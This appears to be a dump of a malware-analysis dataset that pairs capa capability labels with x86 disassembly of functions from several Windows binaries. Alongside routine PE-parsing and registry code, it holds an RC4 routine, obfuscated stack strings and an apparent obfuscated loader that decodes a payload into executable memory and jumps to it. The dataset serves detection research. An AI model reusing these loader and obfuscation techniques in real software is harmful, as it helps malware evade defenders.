joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101615eb
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101f6de0], 0
mov dword [0x101f6de4], 0
mov dword [0x101f6df0], 0
mov dword [0x101f6dd8], 0x2bc
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x10161740
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov edi, eax
add edi, 1
mov dword [ebp - 0x2c], eax
mov eax, edx
cdq
idiv esi
mov dword [0x101f6de0], edx
mov dword [0x101f6dd8], 0x97e
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x101f6de4], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x101f6de8], cl
mov ebx, dword [0x101f6ddc]
add ebx, 0xfffff27d
mov dword [0x101f6dd8], ebx
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101f6de8]
mov edx, dword [0x101f6de4]
mov byte [ebx + edx], cl
mov edx, dword [0x101f6de0]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x101f6de4]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x101f6df0], ecx
mov dword [0x101f6dd8], 0x2e2
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
xor cl, byte [edx + esi]
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], cl
mov dword [0x101f6dd8], 0x130b
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x34], edi
je 0x10161740
mov eax, dword [0x101f6de0]
mov ecx, dword [0x101f6de4]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x1016164e
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10161748
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x101f6dd8], 0x1b4a
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.10160b04
lea ecx, [0x10160422]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x50], 0x147c00
mov dword [0x101f6ddc], 0x894
mov edx, dword [0x101f6dc4]
mov dword [esp + 0x70], edx
mov edx, dword [0x101f6dc8]
mov dword [esp + 0x48], edx
mov edx, dword [0x101f6dcc]
mov dword [esp + 0x64], edx
mov edx, dword [0x101f6dd0]
mov dword [esp + 0x68], edx
mov edx, dword [0x101f6dd4]
mov dword [esp + 0x58], edx
mov dword [0x101f6dd8], 0x1e0a
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x10161851
mov eax, dword [esp + 0x10]
mov dword [esp + 0x28], eax
mov dword [0x101f6ddc], 0xe2d
mov dword [0x101f6dd8], 0xf67
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x6c], edx
call fcn.1016115f
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x1016188c
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10160e38
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x101f6ddc], 0x5b1
mov dword [esp + 8], eax
jmp 0x1016188c
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x10161878
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x101617de
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x10161851
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x4011ef
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x401228
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x40120f
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x401220
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x40122a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x401205
xor eax, eax
pop edi
pop esi
ret

Function at 0x40140b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ebp
test eax, 0x58aa45c6
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.004011ad
or al, byte [ecx - 9]
out dx, al
lea eax, [ebp - 0x58]
push eax
call fcn.004011bd
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00401172
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x40149b
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004011ad
sbb edx, dword gs:[esp + ebp*8 - 0x73]
inc ebp
rcl byte [eax - 0x18], 0xc5
cld
invalid

Function at 0x405a73
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x4083f8
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x4083e8
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x405ac4
xor eax, eax
jmp 0x405aeb
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x405aeb
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
test eax, eax
jne 0x405ac0
call esi
pop esi
leave
ret 4
Function at 0x405b25
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x426750], 0x44
push eax
xor eax, eax
push 0x426750
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405b64
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405b68
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret 4

Function at 0x405c06
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.0040600d
mov edi, eax
cmp edi, 0xffffffff
je 0x405c47
test byte [esp + 0x10], 1
push esi
je 0x405c29
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x405c2f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x405c38
xor eax, eax
inc eax
jmp 0x405c49
test byte [esp + 0x10], 4
jne 0x405c47
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x4013ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40af8c], 1
mov dword [0x40af90], 1
mov dword [0x40af94], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40140b
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40142e
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401450
cmp eax, 0x20b
je 0x401475
jmp 0x4014a0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401462
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x40148d
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, 0
leave
ret

Function at 0x4016da
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 8], 1
jne 0x40171f
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._MessageBoxThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 4], str.new_text_layer
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
cmp dword [ebp - 0x10], 0
je 0x40171f
cmp dword [ebp - 0x10], 0
je 0x401838
mov dword [ebp - 0x38], 0x73696874
mov dword [ebp - 0x34], 0x72747320
mov dword [ebp - 0x30], 0x20676e69
mov dword [ebp - 0x2c], 0x6c6c6977
mov dword [ebp - 0x28], 0x20656220
mov dword [ebp - 0x24], 0x62726167
mov dword [ebp - 0x20], 0x20656761
mov dword [ebp - 0x1c], 0x74657270
mov dword [ebp - 0x18], 0x73207974
mov dword [ebp - 0x14], 0x6e6f6f
mov byte [ebp - 0x38], 0
mov dword [ebp - 0xc], 0
jmp 0x401805
call sym._rand
mov edx, eax
mov ecx, 0xffffffaf
mov eax, ecx
imul dl
shr ax, 8
add eax, edx
sar al, 6
mov ecx, edx
sar cl, 7
sub eax, ecx
mov ecx, 0x5e
imul eax, ecx
mov ecx, eax
mov eax, edx
sub eax, ecx
movsx eax, al
add eax, 0x21
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x38]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4060b6
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x25
jle 0x4017af
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SetWindowTextA]
call eax
sub esp, 8
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x40175c
nop
leave
ret 4
Function at 0x40183d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40186d
mov eax, dword [ebp - 0xc]
and eax, 0x10
test eax, eax
jne 0x40186d
mov eax, 1
jmp 0x401872
mov eax, 0
leave
ret
Function at 0x403764
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort

Function at 0x404338
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x404357
mov eax, 0
jmp 0x40439b
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40437a
mov eax, 0
jmp 0x40439b
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x404396
mov eax, 0
jmp 0x40439b
mov eax, 1
leave
ret

Function at 0x40439d
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x4043fc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x4043f4
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x4043f4
mov eax, dword [ebp - 4]
jmp 0x404410
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x4043d1
mov eax, 0
leave
ret
Function at 0x4089a4
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdbc
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x228], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x408bb8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x44]
lea eax, [ebp - 8]
call sub.RtlVcl160.bpl__System__IntfClear_qqrr45System__DelphiInterface_t17System_IInterface_
push eax
push 0x408bc8
push 1
push 0
mov eax, dword [sym.imp.RtlVcl160.bpl__Winapi_Activex_CLSID_StdComponentCategoryMgr]
push eax
call sub.ole32.dll_CoCreateInstance
mov esi, eax
mov eax, esi
call sub.RtlVcl160.bpl__Winapi_Activex_Succeeded_qqrl
test al, al
je 0x408a6f
lea eax, [ebp - 4]
call sub.RtlVcl160.bpl__System__IntfClear_qqrr45System__DelphiInterface_t17System_IInterface_
push eax
push 0
push 0
mov eax, dword [sym.imp.PublicPkg160.bpl__Datasnap_Midconst_CATID_MIDASInterceptor]
push eax
push 1
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
call sub.RtlVcl160.bpl__System_Win_Comobj_OleCheck_qqrl
jmp 0x408a53
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
push 0x408bd8
push 0x80000000
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x408b77
xor eax, eax
push ebp
push 0x408b70
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
push 0x200
lea eax, [ebp - 0x224]
push eax
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegEnumKeyW
test eax, eax
je 0x408aa6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408b77
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey
ret

Function at 0x408ca0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
xor ebx, ebx
push 0x200
lea eax, [ebp - 0x204]
push eax
push edi
push esi
call sub.advapi32.dll_RegEnumKeyW
test eax, eax
jne 0x408ce1
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x204]
mov ecx, pe_nt_image_headers32
call sub.RtlVcl160.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408cec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
xor ebx, ebx
mov dword [ebp - 8], 0x200
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x208]
push eax
mov eax, edi
call sub.RtlVcl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
push esi
call sub.advapi32.dll_RegQueryValueW
test eax, eax
jne 0x408d3a
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x208]
mov ecx, pe_nt_image_headers32
call sub.RtlVcl160.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419a80
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.RtlVcl160.bpl__System__UStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x419bba
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
call sub.RtlVcl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
mov edi, eax
push edi
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
mov eax, ebx
call sub.RtlVcl160.bpl__System__GetMem_qqri
mov esi, eax
push esi
push ebx
push 0
push edi
call sub.version.dll_GetFileVersionInfoW
test ebx, ebx
jbe 0x419b8a
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x419bc8
push esi
call sub.version.dll_VerQueryValueW
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 8]
shr edx, 0x10
mov word [ebp - 0x16], dx
movzx edx, word [eax + 8]
and dx, 0xffff
mov word [ebp - 0x18], dx
mov edx, dword [eax + 0xc]
shr edx, 0x10
mov word [ebp - 0x1a], dx
movzx eax, word [eax + 0xc]
and ax, 0xffff
mov word [ebp - 0x1c], ax
mov edx, ebx
mov eax, esi
call sub.RtlVcl160.bpl__System__FreeMem_qqrpv
lea edx, [ebp - 0x20]
movzx eax, word [ebp - 0x16]
call sub.RtlVcl160.bpl__System_Sysutils_IntToStr_qqri
push dword [ebp - 0x20]
push 0x419bd8
lea edx, [ebp - 0x24]
movzx eax, word [ebp - 0x18]
call sub.RtlVcl160.bpl__System_Sysutils_IntToStr_qqri
push dword [ebp - 0x24]
push 0x419bd8
lea edx, [ebp - 0x28]
movzx eax, word [ebp - 0x1a]
call sub.RtlVcl160.bpl__System_Sysutils_IntToStr_qqri
push dword [ebp - 0x28]
push 0x419bd8
lea edx, [ebp - 0x2c]
movzx eax, word [ebp - 0x1c]
call sub.RtlVcl160.bpl__System_Sysutils_IntToStr_qqri
push dword [ebp - 0x2c]
mov eax, dword [ebp - 8]
mov edx, 7
call sub.RtlVcl160.bpl__System__UStrCatN_qqrv
jmp 0x419b97
mov eax, dword [ebp - 8]
mov edx, 0x419be8
call sub.RtlVcl160.bpl__System__UStrAsg_qqrr20System_UnicodeStringx20System_UnicodeString
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419bc1
lea eax, [ebp - 0x2c]
mov edx, 4
call sub.RtlVcl160.bpl__System__UStrArrayClr_qqrpvi
lea eax, [ebp - 4]
call sub.RtlVcl160.bpl__System__UStrClr_qqrpv
ret
Function at 0x10110860
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1023e79b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x102e9794]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 0x14]
test edi, edi
jne 0x101108a9
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [edi], 0
cmp dword [0x102e354c], 0
jne 0x101108c0
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
test esi, esi
je 0x1011090d
mov eax, dword [esi]
test eax, eax
je 0x10110892
cmp dword [esi + 4], 0
je 0x10110892
push eax
call fcn.10195fc0
add esp, 4
push dword [esi + 4]
call fcn.10195fc0
mov eax, dword [esi + 0xc]
add esp, 4
test eax, eax
je 0x101108fe
push eax
call fcn.10195fc0
add esp, 4
mov eax, dword [esi + 8]
test eax, eax
je 0x10110945
push eax
call fcn.10195fc0
jmp 0x10110942
push dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
call fcn.10195fc0
add esp, 4
push dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
call fcn.10195fc0
add esp, 4
push dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
call fcn.10195fc0
add esp, 4
push dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.10195fc0
add esp, 4
push 8
call fcn.10195fc0
add esp, 4
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 1
test eax, eax
je 0x10110980
push dword [ebp + 0x18]
mov ecx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.10195fc0
mov dword [edi], eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [edi], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10195fc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10195fcf
pop dword [ebp - 0x20]
mov eax, 0x734b457b
add eax, 0x9cce1a54
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x42065be6
add dword [ebp - 0x30], 0xc4be965
mov dword [ebp - 0x2c], 0x1fa9780d
add dword [ebp - 0x2c], 0x1289d438
mov dword [ebp - 0x28], 0x7afc6e80
add dword [ebp - 0x28], 0xd14fd5ae
mov dword [ebp - 0x24], 0x22dbf3f5
sub dword [ebp - 0x24], 0x22dbf3f5
lea eax, [ebp - 0x30]
push eax
mov eax, 0xba3edfa0
sub eax, 0xaa175f78
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xb370487d
add dword [ebp - 0x30], 0xc10220d9
mov dword [ebp - 0x2c], 0xbdcac1c5
sub dword [ebp - 0x2c], 0x7c5e6050
mov dword [ebp - 0x28], 0xe1e2b54e
sub dword [ebp - 0x28], 0x7e7348e2
mov dword [ebp - 0x24], 0x316ffb65
sub dword [ebp - 0x24], 0x316ffb65
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x61999
push 0
call eax
mov ecx, 0xb9fc4c05
add ecx, 0x4603f52b
xor ebx, ebx
add ebx, eax
mov edi, 0xd40619e9
add edi, 0x3c2ae017
add edi, dword [ebp - 0x20]
mov edx, 0x2554bf5
xor dword [ebp - 0xc], 0x16642a2f
mov esi, dword [edi]
add esi, edx
mov dword [ebp - 0xc], 0x5a10182e
mov dword [ebx], esi
xor dword [ebp - 0x10], 0x90290a69
add ebx, 0x72f7778
sub ebx, 0x72f7774
add edi, 4
loop 0x101960e8
add eax, 0xcd8240be
add eax, 0x327eb6d5
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7b92f201
add ecx, 0x946d0dff
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x1019c030
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1023ff89
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x102e9794]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], 0
mov esi, dword [ebp + 8]
mov ecx, esi
mov dword [ebp - 4], 0
call sym.AIDE.dll_public:_void___thiscall_AIDE::PaletteInfo::constructor_void_
mov ecx, dword [edi + 0x14]
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
call fcn.1019d620
mov dword [esi], eax
lea ecx, [edi + 0x28]
mov dword [esi + 4], 3
mov dword [esi + 8], 0
mov dword [ecx], 8
mov dword [edi + 0x30], 8
mov dword [edi + 0x2c], 8
mov dword [esi + 0xc], ecx
mov dword [esi + 0x10], 8
mov ecx, dword [edi + 0x14]
call fcn.1019d600
mov dword [esi + 0x14], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4